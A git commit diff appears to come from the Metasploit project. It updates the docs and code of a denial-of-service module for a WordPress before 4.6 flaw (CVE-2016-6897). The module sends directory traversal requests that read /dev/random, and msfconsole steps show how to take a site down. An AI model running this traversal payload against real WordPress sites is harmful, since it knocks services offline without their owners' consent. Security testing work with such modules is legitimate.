Update directory traversal DoS module and docs
parent
9b9d2f2345
commit
72a5142e37
|
@ -1,5 +1,12 @@
|
|||
This module exploits a Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in Wordpress before 4.6. Allows remote authenticated users to cause a denial of service (with /dev/random read operations).
|
||||
## Verification
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a Cross-site request forgery (CSRF) vulnerability in the wp_ajax_update_plugin (https://core.trac.wordpress.org/changeset/38168) function in wp-admin/includes/ajax-actions.php in Wordpress before 4.6. Allows remote authenticated users to cause a denial of service (with /dev/random read operations).
|
||||
|
||||
You can find the vulnerable application from the official website:
|
||||
https://wordpress.org/download/release-archive/
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use auxiliary/dos/http/wordpress_directory_traversal_dos.rb```
|
||||
|
@ -11,6 +18,9 @@ This module exploits a Cross-site request forgery (CSRF) vulnerability in the wp
|
|||
8. WordPress website should be down
|
||||
|
||||
## Scenarios
|
||||
### Wordpress 4.5.3 on Linux Mint 17.3
|
||||
https://wordpress.org/wordpress-4.5.3.tar.gz
|
||||
|
||||
|
||||
```
|
||||
msf auxiliary(wordpress_directory_traversal_dos) > exploit
|
||||
|
|
|
@ -27,8 +27,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
[
|
||||
['CVE', '2016-6897'],
|
||||
['EDB', '40288'],
|
||||
['OVEID', 'OVE-20160712-0036'],
|
||||
['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2016-6897']
|
||||
['OVEID', 'OVE-20160712-0036']
|
||||
],
|
||||
))
|
||||
|
||||
|
@ -127,11 +126,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
return
|
||||
end
|
||||
|
||||
path = '/'
|
||||
1.upto(depth) do |i|
|
||||
path += '../'
|
||||
end
|
||||
path += 'dev/random'
|
||||
path = "/#{'../' * depth}dev/random"
|
||||
|
||||
while starting_thread < rlimit do
|
||||
ubound = [rlimit - (starting_thread - 1), thread_count].min
|
||||
|
|
Loading…
Reference in New Issue